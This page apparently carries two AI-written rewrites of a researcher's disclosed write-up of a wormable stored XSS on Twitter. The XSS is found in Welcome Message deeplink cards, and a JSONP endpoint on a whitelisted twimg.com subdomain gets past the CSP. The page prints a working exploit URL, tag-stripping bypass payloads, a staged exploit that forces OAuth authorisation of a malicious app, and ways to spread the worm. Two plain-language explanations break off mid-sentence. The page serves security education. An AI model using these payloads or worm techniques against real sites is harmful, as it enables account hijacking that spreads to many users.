Skip to content
XSS Write-up Advanced

Tale of a Wormable Twitter XSS

A stored cross-site scripting flaw in Twitter's card rendering allowed an attacker to inject script via a crafted welcome-message link, and a CSP bypass using a JSONP endpoint on a whitelisted domain enabled a worm that could retweet and follow on behalf of victims.

Ahmed Elsobky Follow

Published on virtuesecurity.com

Bounty$2,940 View original

This is a tale of how we found a wormable XSS on Twitter, and how we managed to fully bypass its CSP policy.

admin___vs, on virtuesecurity.com

The full write-up lives on its author's site

It belongs to its author, so we link to it rather than copy it. The other two tabs are our own rewrites, checked against it.

Written with AI from the full original report and checked against it passage by passage; anything it could not back up was removed or toned down. The original is the record. 10 min read.

Context

In mid-2018 I found a stored XSS on Twitter in a place you would not expect: inside a tweet. What made it notable was that it could be turned into a fully-fledged XSS worm, and that it required bypassing Twitter's Content Security Policy to run.

The entry point is a Welcome Message deeplink. A deeplink of the form https://twitter.com/messages/compose with recipient_id, welcome_message_id and text parameters is rendered as a Twitter card. The card is an iframe element pointing to https://twitter.com/i/cards/tfw/v1/<tweet_id>. That iframe is same-origin and not sandboxed, so the card's JavaScript has DOM access to the parent page. The text parameter is reflected into an inline JSON object as the value of the default_composer_text key.

TwitterXSSWorm From the original on virtuesecurity.com

Setup

The work was done against the live Twitter web application. No special accounts, roles or tool versions are described in the report. The attack fires when a victim loads a tweet containing the crafted deeplink. The researcher reported the initial finding before the CSP bypass was complete, and the CSP bypass was reported later.

Finding it

The starting point was the reflection of the text parameter into an inline <script type="text/twitter-cards-serialization"> block. The payload lands inside a JSON string value, so the obvious move is to close the script tag. The HTML parser terminates a script element at the first </script> it encounters, even when that sequence appears inside a string literal, a comment or a regex. That gives a way out of the JSON context and into HTML.

Before that point, several defences had to be overcome:

  • Both single and double quotes are escaped to \' and \" respectively.
  • HTML tags are stripped, so a</script>b becomes ab.
  • The payload is truncated at around 300 characters.
  • A CSP policy disallows non-whitelisted inline scripts.

The tag-stripping behaviour is what caught my attention. Stripping tags requires HTML parsing rather than simple character escaping, and parsers are error-prone. I started with a basic payload </script><svg onload=alert()> and kept mutating it until I reached:

Text
<</<x>/script/test000><</</x><x>svg onload=alert()></><script>1<\x>2

which the filter turned into:

Text
</script/test000><svg onload=alert()>

That was enough to report the XSS to the Twitter security team, without waiting for a CSP bypass.

Exploitation

The full exploit, before it was fixed, was a single URL that could be tweeted to create a worm that spreads from account to account:

Text
https://twitter.com/messages/compose?recipient_id=988260476659404801&welcome_message_id=988274596427304964&text=%3C%3Cx%3E/script%3E%3C%3Cx%3Eiframe%20id%3D__twttr%20src%3D/intent/retweet%3Ftweet_id%3D1114986988128624640%3E%3C%3Cx%3E/iframe%3E%3C%3Cx%3Escript%20src%3D//syndication.twimg.com/timeline/profile%3Fcallback%3D__twttr/alert%3Buser_id%3D12%3E%3C%3Cx%3E/script%3E%3C%3Cx%3Escript%20src%3D//syndication.twimg.com/timeline/profile%3Fcallback%3D__twttr/frames%5B0%5D.retweet_btn_form.submit%3Buser_id%3D12%3E

When the deeplink is rendered as a Twitter card, the payload in the text parameter is reflected back into the inline JSON as the value of default_composer_text:

HTML
<script type="text/twitter-cards-serialization">
  {
    "strings": { },
    "card": {
  "viewer_id" : "988260476659404801",
  "is_caps_enabled" : true,
  "forward" : "false",
  "is_logged_in" : true,
  "is_author" : true,
  "language" : "en",
  "card_name" : "2586390716:message_me",
  "welcome_message_id" : "988274596427304964",
  "token" : "[redacted]",
  "is_emojify_enabled" : true,
  "scribe_context" : "%7B%7D",
  "is_static_view" : false,
  "default_composer_text" : "</script><iframe id=__twttr src=/intent/retweet?tweet_id=1114986988128624640></iframe><script src=//syndication.twimg.com/timeline/profile?callback=__twttr/alert;user_id=12></script><script src=//syndication.twimg.com/timeline/profile?callback=__twttr/frames[0].retweet_btn_form.submit;user_id=12>\u00A0",
  "recipient_id" : "988260476659404801",
  "card_uri" : "https://t.co/1vVzoyquhh",
  "render_card" : true,
  "tweet_id" : "1114991578353930240",
  "card_url" : "https://t.co/1vVzoyquhh"
},
    "twitter_cldr": false,
    "scribeData": {
      "card_name": "2586390716:message_me",
      "card_url": "https://t.co/1vVzoyquhh"

    }
  }
</script>
From the original on virtuesecurity.com

Step 1: Break out of the JSON string

The leading </script> in the payload closes the serialisation script block. Everything after it is parsed as HTML in the card's document, which is same-origin with the parent page.

Step 2: Bypass the CSP with a JSONP endpoint

The CSP policy for Twitter cards is:

Text
script-src 'nonce-ETj41imzIQ/aBrjFcbynCg==' https://twitter.com https://*.twimg.com https://ton.twitter.com 'self'; frame-ancestors https://ms2.twitter.com https://twitter.com http://localhost:8889 https://momentmaker-local.twitter.com https://localhost.twitter.com https://tdapi-staging.smf1.twitter.com https://ms5.twitter.com https://momentmaker.twitter.com https://tweetdeck.localhost.twitter.com https://ms3.twitter.com https://tweetdeck.twitter.com https://wfa.twitter.com https://mobile.twitter.com https://ms1.twitter.com 'self' https://ms4.twitter.com; font-src https://twitter.com https://*.twimg.com data: https://ton.twitter.com 'self'; media-src https://twitter.com https://*.twimg.com https://ton.twitter.com blob: 'self'; connect-src https://caps.twitter.com https://cards.twitter.com https://cards-staging.twitter.com https://upload.twitter.com blob: 'self'; style-src https://twitter.com https://*.twimg.com https://ton.twitter.com 'unsafe-inline' 'self'; object-src 'none'; default-src 'self'; frame-src https://twitter.com https://*.twimg.com https://* https://ton.twitter.com 'self'; img-src https://twitter.com https://*.twimg.com data: https://ton.twitter.com blob: 'self'; report-uri https://twitter.com/i/csp_report?a=NVQWGYLXMNQXEZDT&ro=false;

Twitter does not deploy one global CSP policy across the whole app; different parts have different policies. This is the policy for Twitter cards, and the relevant directive is script-src. The wildcard origin https://*.twimg.com is the permissive point. A JSONP endpoint exists on a subdomain of twimg.com:

Text
https://syndication.twimg.com/timeline/profile?callback=__twttr;user_id=12

The callback must start with the __twttr prefix, otherwise it is rejected. That rules out built-in functions such as alert, though __twttralert is accepted and evaluates to undefined. After checking which characters are filtered, forward slashes turned out to be allowed in the callback parameter, so ?callback=__twttr/alert produces:

Text
/**/__twttr/alert({"headers":{"status":200,"maxPosition":"1113300837160222720","minPosition":"1098761257606307840","xPolling":30,"time":1554668056},"body":"[...]"});

Step 3: Define __twttr on window

Because the response calls __twttr/alert(...), a __twttr reference must exist on window or a ReferenceError is thrown. There are two ways to create it: find a whitelisted script that defines a __twttr variable, or set the ID attribute of an HTML element to __twttr, which creates a global reference to that element on window. I used the second option, which is why the iframe in the payload carries an ID even though the payload needs to stay short.

The semicolon in ?callback=__twttr/alert;user_id=12 is not part of the callback parameter; it is a URL query separator, the same as &. Because arbitrary characters cannot be injected into the callback, the JavaScript syntax available is limited, but any function can still be invoked, similar to a SOME attack.

Step 4: What the payload does

The full payload does three things:

  1. Creates an iframe with the ID __twttr pointing to a specific tweet through Twitter Web Intents (https://twitter.com/intent/retweet?tweet_id=1114986988128624640).
  2. Uses the CSP bypass to invoke a synchronous function (alert) to delay the next script block until the iframe has fully loaded. The alert is not for show: syntax limitations prevent using setTimeout(func).
  3. Uses the CSP bypass again to submit a form inside the iframe, which retweets the specific tweet.

Step 5: Spreading

An XSS worm would ideally retweet itself, but because retweets depend on Twitter Web Intents, the exact tweet ID must be known and included in the payload before the tweet is posted. Tweet IDs are not sequential, so predicting one is not easy. Two other spreading mechanisms are available:

  1. A chain of tweets where each tweet contains a payload that retweets the one preceding it. Contact with any tweet in the chain starts a series of retweets that eventually delivers the first tweet in the chain to every active Twitter account.
  2. Promoting the tweet that carries the payload so it has much greater reach.

A mix of both is possible. There is also a side effect: when https://twitter.com/intent/retweet?tweet_id=1114986988128624640 is loaded for a tweet that has already been retweeted, frames[0].retweet_btn_form.submit corresponds to a follow action instead of a retweet. The first time a weaponised tweet appears on a timeline it is retweeted on the viewer's profile; the next time it is viewed, it makes the viewer follow the attacker's account.

Step 6: Silent OAuth authorisation

The XSS could also force users to authorise a malicious third-party app with full permissions through the Twitter oauth/authorize API. This is done by loading https://twitter.com/oauth/authorize?oauth_token=[token] in an iframe and automatically submitting the authorisation form with the ID oauth_form. A staged exploit works as follows.

  1. Post a tweet with this payload and obtain its ID:
Text
</script><iframe src=/oauth/authorize?oauth_token=cXDzjwAAAAAA4_EbAAABaizuCOk></iframe>
  1. Post another tweet with this payload and obtain its ID:
Text
</script><script id=__twttr src=//syndication.twimg.com/tweets.json?callback=__twttr/parent.frames[0].oauth_form.submit;ids=20></script>
  1. Post a third tweet that combines the two:
Text
</script><iframe src=/i/cards/tfw/v1/1118608452136460288></iframe><iframe src=/i/cards/tfw/v1/1118609496560029696></iframe>

As soon as the third tweet is loaded on a user's timeline, the malicious third-party app has full access to the account. The oauth_token value is valid for one use only and expires relatively quickly, but an attacker can post as many tweets as needed to compromise any number of accounts.

Root cause

The reflection of the text parameter into an inline JSON script block is the first mistake. The HTML parser's rule that </script> terminates a script element even inside a string literal means the JSON context can be escaped with a single tag. The tag-stripping filter is the second mistake: it parses HTML to remove tags, and the parser can be confused with malformed input such as <</<x>/script/test000> so that the stripped result still contains a working </script> and an <svg onload=...> element.

The CSP does not stop the attack because the script-src directive allows https://*.twimg.com, and a JSONP endpoint on syndication.twimg.com reflects a callback that starts with __twttr. The callback validation only enforces the prefix and allows forward slashes, so __twttr/alert and __twttr/frames[0].retweet_btn_form.submit are accepted. The __twttr reference is supplied by an element ID, which creates a global on window. The card iframe being same-origin and not sandboxed is what gives the injected script DOM access to the parent page.

Impact

An attacker could tweet a link that, when rendered as a Twitter card, executes script in the context of the Twitter web application. The script could retweet a chosen tweet on the viewer's profile, make the viewer follow the attacker's account, and force the viewer to authorise a malicious third-party app with full permissions. In principle the attacker could force a user to load any page on Twitter, click any button and submit any form. The worm spreads through retweets and through chains of tweets, and the OAuth variant is limited only by the single-use, short-lived oauth_token, which the attacker can work around by posting more tweets.

Fix

Twitter rolled out a fix on 4th May 2018. The CSP bypass was fixed later, on 22nd April 2019, after the researcher provided more information on 7th April 2019 and was asked on 12th April 2019 to delay publication until the bypass was fixed. The report does not describe the code changes themselves.

Variants to test

  • Look for parameters reflected into inline <script type="..."> JSON blocks. A positive result is a payload containing </script> that closes the block and injects HTML.
  • Test tag-stripping filters with malformed nesting such as <</<x>/script/test000> and <</</x><x>svg onload=alert()></>. A positive result is a stripped output that still contains a working </script> and an event-handler element.
  • Enumerate CSP script-src wildcards such as https://*.twimg.com and look for JSONP endpoints on those origins. A positive result is a callback parameter that is reflected into the response and executes.
  • Test callback prefix validation for allowed characters such as /, [, ] and .. A positive result is a callback like __twttr/alert or __twttr/parent.frames[0].form.submit being accepted.
  • Check whether an element ID can be used to create a global reference for the callback prefix. A positive result is a response that calls the prefix without a ReferenceError.
  • Check whether card iframes are same-origin and unsandboxed. A positive result is script in the card reaching the parent DOM.
  • Test Web Intents pages for state-dependent form submission, such as a retweet form becoming a follow form. A positive result is a form submission that performs a different action on a second load.

Written with AI from the full original report and checked against it passage by passage; anything it could not back up was removed or toned down. The original is the record. 18 min read.

What happened, in plain words

In mid-2018 I found a security hole on Twitter in a place nobody would look for one: inside a tweet. The hole let an attacker run their own code in the browser of anyone who saw the tweet. What made it serious was that the code could copy itself from account to account, like a chain letter that posts itself. Security people call that an XSS worm.

To make it work I also had to get around a protection Twitter uses called a Content Security Policy, or CSP. A CSP is a list of rules a website sends to your browser saying which scripts are allowed to run. Think of it as a guest list at a door: only names on the list get in. I found a way to get my code in through a name that was already on the list.

The way in was a feature called a Welcome Message deeplink. A deeplink is just a URL that opens a specific screen inside an app or website, the way a link to a specific product page takes you straight there. The deeplink carries a text parameter, and that text is where my code went.

TwitterXSSWorm From the original on virtuesecurity.com

When the deeplink is opened, Twitter shows it as a Twitter card. A Twitter card here is an iframe element that renders the deeplink. Under the hood the card is a small web page shown inside the main page, in a box called an iframe. An iframe is like a picture-in-picture window: a separate page embedded inside another one. The important detail here is that this particular iframe belonged to the same site as the page around it (same-origin) and had no sandbox around it. Same-origin means the browser treats both pages as the same trust zone, so code in the inner page can reach into the outer page. A sandbox would be a set of restrictions that stops that. Neither protection was in place, so my code in the card could control the whole Twitter page.

The setup

I tested against the live Twitter website. There were no special accounts, no special roles and no particular tool versions involved. The only thing needed for the attack to fire was for a victim to load a tweet that contained the crafted deeplink. Because the malicious text lives inside a tweet, the attack is stored. That is what makes it wormable, meaning able to spread by itself.

I reported the first part of the finding before I had worked out the CSP bypass, and reported the bypass later.

Finding it

Where the text ends up

The starting point was that the text parameter of the deeplink gets copied back into the page. In web terms, a parameter is a named value in a URL, the part after a ? and joined with &. Here the value of text was placed inside a block of JavaScript that Twitter uses to carry data, written as <script type="text/twitter-cards-serialization">. That block holds a JSON object. JSON is a plain text format for structured data, like a very simple form with labels and values, and it is what programs use to pass information to each other.

My text landed inside one of the string values of that JSON. So the obvious next move is to close the script tag. A script tag is the HTML marker that says "JavaScript starts here" and "JavaScript ends here". The browser's HTML parser, the part that reads the page and builds it, ends a script at the first </script> it sees. It does that even if the </script> appears inside a quoted string, inside a comment, or inside a regular expression. That quirk is the way out of the JSON and back into ordinary HTML, where I can put my own tags.

The defences in the way

Before reaching that point, several defences had to be beaten:

  • Both single and double quotes are escaped to \' and \". Escaping means putting a backslash in front of a character so the browser treats it as plain text rather than as code syntax.
  • HTML tags are stripped, so a</script>b becomes ab. Stripping means removing anything that looks like a tag before the text is shown.
  • The payload is cut off at around 300 characters. A payload is the piece of attack input, the thing you send to try to break something.
  • A CSP policy blocks inline scripts that are not on its list. An inline script is JavaScript written directly inside the page rather than loaded from a separate file.

The tag-stripping is what caught my eye. Removing tags is not as simple as swapping characters: to know what a tag is, the filter has to parse HTML, and parsers are famously easy to confuse. A filter that tries to strip tags with pattern matching is like a bouncer who removes anyone wearing a hat by looking for the word "hat" on their shirt: change the wording slightly and the hat walks straight in.

I started with a very basic payload, </script><svg onload=alert()>, and kept changing it until I reached this:

Text
<</<x>/script/test000><</</x><x>svg onload=alert()></><script>1<\x>2

Line by line, in plain words:

  • <</<x>/script/test000> is deliberately malformed. It is built so that when the filter removes what it thinks are tags, the leftover pieces join up into a real </script> tag.
  • <</</x><x>svg onload=alert()></> does the same trick for the second half. The filter sees pieces it wants to remove, and what remains is <svg onload=alert()>, an SVG element that runs JavaScript the moment it loads.
  • <script>1<\x>2 is extra noise to keep the parser confused while the filter works.

The filter turned that whole thing into:

Text
</script/test000><svg onload=alert()>

That output still contains a working </script> and a working <svg onload=...> element. In other words, the filter did its job badly and handed me back exactly the dangerous pieces it was supposed to remove. That was enough to report the XSS to the Twitter security team, without waiting to solve the CSP problem.

Exploitation

The full attack in one URL

Before it was fixed, the whole exploit was a single URL. Tweeting it would create a worm that spreads from account to account:

Text
https://twitter.com/messages/compose?recipient_id=988260476659404801&welcome_message_id=988274596427304964&text=%3C%3Cx%3E/script%3E%3C%3Cx%3Eiframe%20id%3D__twttr%20src%3D/intent/retweet%3Ftweet_id%3D1114986988128624640%3E%3C%3Cx%3E/iframe%3E%3C%3Cx%3Escript%20src%3D//syndication.twimg.com/timeline/profile%3Fcallback%3D__twttr/alert%3Buser_id%3D12%3E%3C%3Cx%3E/script%3E%3C%3Cx%3Escript%20src%3D//syndication.twimg.com/timeline/profile%3Fcallback%3D__twttr/frames%5B0%5D.retweet_btn_form.submit%3Buser_id%3D12%3E

Line by line:

  • https://twitter.com/messages/compose is the deeplink that opens the message composer.
  • text=... is the pre-filled message text, and it is entirely URL-encoded. URL encoding replaces characters that are not allowed in a URL with a % followed by two hex digits, so %3C is <, %3E is >, %20 is a space, %3D is =, %3F is ?, %5B is [ and %5D is ]. Decoded, the value is the payload that closes the script block, adds an iframe and loads two scripts from syndication.twimg.com.

When the deeplink is rendered as a Twitter card, the payload in text comes back inside the inline JSON as the value of default_composer_text:

HTML
<script type="text/twitter-cards-serialization">
  {
    "strings": { },
    "card": {
  "viewer_id" : "988260476659404801",
  "is_caps_enabled" : true,
  "forward" : "false",
  "is_logged_in" : true,
  "is_author" : true,
  "language" : "en",
  "card_name" : "2586390716:message_me",
  "welcome_message_id" : "988274596427304964",
  "token" : "[redacted]",
  "is_emojify_enabled" : true,
  "scribe_context" : "%7B%7D",
  "is_static_view" : false,
  "default_composer_text" : "</script><iframe id=__twttr src=/intent/retweet?tweet_id=1114986988128624640></iframe><script src=//syndication.twimg.com/timeline/profile?callback=__twttr/alert;user_id=12></script><script src=//syndication.twimg.com/timeline/profile?callback=__twttr/frames[0].retweet_btn_form.submit;user_id=12>\u00A0",
  "recipient_id" : "988260476659404801",
  "card_uri" : "https://t.co/1vVzoyquhh",
  "render_card" : true,
  "tweet_id" : "1114991578353930240",
  "card_url" : "https://t.co/1vVzoyquhh"
},
    "twitter_cldr": false,
    "scribeData": {
      "card_name": "2586390716:message_me",
      "card_url": "https://t.co/1vVzoyquhh"

    }
  }
</script>

Line by line:

  • <script type="text/twitter-cards-serialization"> opens a script block, but the type is not a normal JavaScript type. The browser does not run it as code; it just holds data for Twitter's own scripts to read later.
  • "strings": { } is an empty section of the data.
  • "card": { ... } is the main object, holding the card's settings.
  • "viewer_id", "is_logged_in", "is_author", "language" and similar keys describe who is looking at the card and how it should be shown.
  • "token" is a value in the card data.
  • "default_composer_text" is the key that matters. Its value is my payload, copied back verbatim. The </script> inside it ends the data block early, and everything after it is read as normal HTML.
From the original on virtuesecurity.com

Step 1: Break out of the JSON string

The leading </script> in the payload closes the data block. Everything after it is read as HTML in the card's own page. Because that page is same-origin with the page around it, the code I inject there can reach the parent page. Same-origin is the browser's rule that pages from the same site may talk to each other; it is what stops a random site from reading your bank's page, and here it worked in the attacker's favour.

Step 2: Get around the CSP with a JSONP endpoint

The CSP policy for Twitter cards was this:

Text
script-src 'nonce-ETj41imzIQ/aBrjFcbynCg==' https://twitter.com https://*.twimg.com https://ton.twitter.com 'self'; frame-ancestors https://ms2.twitter.com https://twitter.com http://localhost:8889 https://momentmaker-local.twitter.com https://localhost.twitter.com https://tdapi-staging.smf1.twitter.com https://ms5.twitter.com https://momentmaker.twitter.com https://tweetdeck.localhost.twitter.com https://ms3.twitter.com https://tweetdeck.twitter.com https://wfa.twitter.com https://mobile.twitter.com https://ms1.twitter.com 'self' https://ms4.twitter.com; font-src https://twitter.com https://*.twimg.com data: https://ton.twitter.com 'self'; media-src https://twitter.com https://*.twimg.com https://ton.twitter.com blob: 'self'; connect-src https://caps.twitter.com https://cards.twitter.com https://cards-staging.twitter.com https://upload.twitter.com blob: 'self'; style-src https://twitter.com https://*.twimg.com https://ton.twitter.com 'unsafe-inline' 'self'; object-src 'none'; default-src 'self'; frame-src https://twitter.com https://*.twimg.com https://* https://ton.twitter.com 'self'; img-src https://twitter.com https://*.twimg.com data: https://ton.twitter.com blob: 'self'; report-uri https://twitter.com/i/csp_report?a=NVQWGYLXMNQXEZDT&ro=false;

Line by line, in plain words:

  • script-src is the rule about which scripts may run. The rest of the line is the guest list: 'nonce-...' allows one specific script identified by a one-time code, https://twitter.com, https://*.twimg.com and https://ton.twitter.com allow scripts loaded from those addresses, and 'self' allows scripts from the same site.
  • frame-ancestors lists which sites are allowed to embed this page in an iframe.
  • font-src, media-src, connect-src, style-src, img-src and object-src do the same job for fonts, audio and video, network requests, stylesheets, images and embedded objects.
  • default-src 'self' is the fallback for anything not listed.
  • report-uri is where the browser sends a note when something is blocked, so the site can monitor violations.

Twitter does not use one single CSP across the whole site; different parts have different policies. This is the policy for Twitter cards, and the part that matters is script-src. The wildcard https://*.twimg.com is the loose point. A wildcard means "any subdomain", so any address ending in .twimg.com is trusted. That is like a guest list that says "anyone with the surname Smith gets in": if you can find one Smith who will do what you ask, you are in.

A JSONP endpoint exists on a subdomain of twimg.com:

Text
https://syndication.twimg.com/timeline/profile?callback=__twttr;user_id=12

JSONP is a technique for getting data from another site by asking it to wrap the data in a function call. The callback parameter tells the server which function name to wrap the response in. The catch was that the callback had to start with the prefix __twttr, otherwise the request was rejected. That rules out built-in functions such as alert, though __twttralert is accepted and simply evaluates to undefined, meaning it does nothing.

I then checked which characters were filtered in the callback and which were allowed. Oddly, forward slashes were allowed. So ?callback=__twttr/alert produced this response:

Text
/**/__twttr/alert({"headers":{"status":200,"maxPosition":"1113300837160222720","minPosition":"1098761257606307840","xPolling":30,"time":1554668056},"body":"[...]"});

Line by line:

  • __twttr/alert( is the callback the server was tricked into writing.

Step 3: Define __twttr on window

Because the response calls __twttr/alert(...), something named __twttr has to exist on window, the global object that holds everything the page can see, or the browser throws a ReferenceError, meaning "I have never heard of this name". There are two ways to create it: find a script that is already allowed and that defines a __twttr variable, or give an HTML element the ID __twttr. Browsers automatically make an element with an ID reachable by that name on window, like a person whose name tag makes them findable in a room. I used the second option, which is why the iframe in the payload carries an ID even though the payload needs to stay short.

The semicolon in ?callback=__twttr/alert;user_id=12 is not part of the callback. It is a URL query separator, the same job as &. Because I could not inject arbitrary characters into the callback, the JavaScript syntax available was limited, but any function could still be called, in a way similar to a SOME attack. SOME stands for Same Origin Method Execution: using a page you are allowed to reach to call a method on it that you should not be able to call directly.

Step 4: What the payload does

The full payload does three things:

  1. Creates an iframe with the ID __twttr pointing to a specific tweet through Twitter Web Intents (https://twitter.com/intent/retweet?tweet_id=1114986988128624640). Web Intents are Twitter's pages for actions such as retweeting.
  2. Uses the CSP bypass to call a synchronous function (alert) to delay the next script block until the iframe has fully loaded. Synchronous means it blocks everything else until it finishes, and an alert box does exactly that until the user clicks OK. The alert is not for show: the syntax limits meant I could not use setTimeout(func), the usual way to wait before running something.
  3. Uses the CSP bypass again to submit a form inside the iframe, which retweets the specific tweet.

Step 5: Spreading

An XSS worm would ideally retweet itself. But because retweets here depend on Web Intents, the exact tweet ID has to be known and written into the payload before the tweet is posted. Tweet IDs are not sequential, so you cannot simply guess the next one. Two other spreading methods work:

  1. A chain of tweets where each tweet contains a payload that retweets the one before it. If you come into contact with any tweet in the chain, a series of retweets starts that eventually delivers the first tweet in the chain to every active Twitter account.
  2. Promoting the tweet that carries the payload so it reaches far more people.

A mix of both is possible. There is also a side effect worth knowing: when https://twitter.com/intent/retweet?tweet_id=1114986988128624640 is loaded for a tweet that has already been retweeted, frames[0].retweet_btn_form.submit corresponds to a follow action instead of a retweet. So the first time a weaponised tweet appears on your timeline it is retweeted on your profile; the next time you see it, it makes you follow the attacker's account.

Step 6: Silent OAuth authorisation

The XSS could also force users to authorise a malicious third-party app with full permissions through the Twitter oauth/authorize API. An API is a set of rules a service offers so other programs can ask it to do things. OAuth is a system where you approve a token so an app can act on your behalf without your password.

This is done by loading https://twitter.com/oauth/authorize?oauth_token=[token] in an iframe and automatically submitting the authorisation form with the ID oauth_form. A staged exploit works like this.

  1. Post a tweet with this payload and note its ID:
Text
</script><iframe src=/oauth/authorize?oauth_token=cXDzjwAAAAAA4_EbAAABaizuCOk></iframe>

Line by line: </script> closes the data block, and the <iframe> loads the authorisation page, with

  1. Post another tweet with this payload and note its ID:
Text
</script><script id=__twttr src=//syndication.twimg.com/tweets.json?callback=__twttr/parent.frames[0].oauth_form.submit;ids=20></script>

Line by line: </script> closes the data block. The

  1. Post a third tweet that combines the two:
Text
</script><iframe src=/i/cards/tfw/v1/1118608452136460288></iframe><iframe src=/i/cards/tfw/v1/1118609496560029696></iframe>

Line by line: </script> closes the data block, and the two <iframe> tags load the cards for the first two tweets, so both payloads run on the same page.

As soon as the third tweet is loaded on a user's timeline, the malicious third-party app has full access to the account. The oauth_token value is valid for one use only and expires relatively quickly, but an attacker can post as many tweets as needed to compromise any number of accounts.

Why it worked

The first mistake was copying the text parameter into an inline JSON script block. The browser's rule that </script> ends a script even inside a string means one tag is enough to escape the JSON. The second mistake was the tag-stripping filter: it parses HTML to remove tags, and malformed input such as <</<x>/script/test000> confuses it so that the stripped result still contains a working </script> and an <svg onload=...> element.

The CSP did not stop the attack because script-src allows https://*.twimg.com, and a JSONP endpoint on syndication.twimg.com reflects a callback that starts with __twttr. The callback check only enforces the prefix and allows forward slashes, so __twttr/alert and __twttr/frames[0].retweet_btn_form.submit are accepted. The __twttr name is supplied by an element ID, which creates a global on window. The card iframe being same-origin and not sandboxed is what gives the injected script access to the parent page.

What an attacker could do

An attacker could tweet a link that, when shown as a Twitter card, runs script inside the Twitter web app. The script could retweet a chosen tweet on the viewer's profile, make the viewer follow the attacker's account, and force the viewer to authorise a malicious third-party app with full permissions. In principle the attacker could force a user to load any page on Twitter, click any button and submit any form. The worm spreads through retweets and chains of tweets, and the OAuth variant is limited only by the single-use, short-lived oauth_token, which the attacker can work around by posting more tweets.

The fix

Twitter rolled out a fix on 4th May 2018. The CSP bypass was fixed later, on 22nd April 2019, after I provided more information on 7th April 2019 and was asked on 12th April 2019 to delay publication until the bypass was fixed. The report does not describe the code changes themselves.

Things to test on other sites

  • Look for parameters that are copied into inline <script type="..."> JSON blocks. A positive result is a payload containing </script> that closes the block and injects HTML.
  • Test tag-stripping filters with malformed nesting such as <</<x>/script/test000> and <</</x><x>svg onload=alert()></>. A positive result is a stripped output that still contains a working </script> and an event-handler element.
  • List the CSP script-src wildcards such as https://*.twimg.com and look for JSONP endpoints on those addresses. A positive result is a callback parameter that is reflected into the response and runs.
  • Test callback prefix checks for allowed characters such as /, [, ] and .. A positive result is a callback like __twttr/alert or __twttr/parent.frames[0].form.submit being accepted.
  • Check whether an element ID can be used to create a global name for the callback prefix. A positive result is a response that calls the prefix without a ReferenceError.
  • Check whether card iframes are same-origin and unsandboxed. A positive result is script in the card reaching the parent page.
  • Test Web Intents pages for forms that change behaviour depending on state, such as a retweet form becoming a follow form. A positive result is a form submission that does something different on a second load.

Glossary

  • API: a set of rules a service offers so other programs can ask it to do things.
  • Callback: the function name a JSONP endpoint is asked to wrap its data in.
  • Content Security Policy (CSP): a list of rules a site sends to the browser saying which scripts, images and other resources are allowed.
  • Deeplink: a URL that opens a specific screen or item inside an app or website.
  • DOM: the browser's live model of the page, which scripts can read and change.
  • Escaping: putting a backslash or similar marker before a character so it is treated as text, not code.
  • Frame / iframe: a separate web page embedded inside another page.
  • Global / window: the top-level object in a browser page that holds everything the page can see.
  • HTML parser: the part of the browser that reads HTML and builds the page.
  • Inline script: JavaScript written directly inside a page rather than loaded from a separate file.
  • JSON: a plain text format for structured data, made of labels and values.
  • JSONP: a technique for getting data from another site by having it wrap the data in a function call.
  • Nonce: a one-time code in a CSP that allows one specific script to run.
  • OAuth: a system where you approve a token so an app can act on your behalf without your password.
  • OAuth token: the limited key an app uses after you approve it.
  • Parameter: a named value in a URL, after the ? and joined with &.
  • Payload: the piece of attack input sent to try to break something.
  • ReferenceError: the browser error meaning a name was used that does not exist.
  • Same-origin: pages from the same site, which the browser lets talk to each other.
  • Sandbox: a set of restrictions that stops an embedded page from reaching its surroundings.
  • Script tag: the HTML marker that starts and ends a block of JavaScript.
  • SOME (Same Origin Method Execution): using a page you can reach to call a method on it that you should not be able to call directly.
  • Synchronous: code that blocks everything else until it finishes.
  • Token: a short secret value that proves a request is genuine.
  • Twitter card: the preview box shown when a link is shared, with a title, image or button.
  • URL encoding: replacing characters not allowed in a URL with % plus two hex digits.
  • Web Intents: Twitter's pages for actions such as retweeting.
  • Wildcard: a pattern such as *.twimg.com that matches any subdomain.
  • XSS (cross-site scripting): a hole that lets an attacker run their own code in someone else's browser on a site.
  • XSS worm: an XSS attack that copies itself from victim to victim without further action by the attacker.

More from Twitter

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Cross-site scripting (XSS)

The lesson behind this report.

Script an attacker supplies runs in another user's browser, on the target's origin, with that user's session.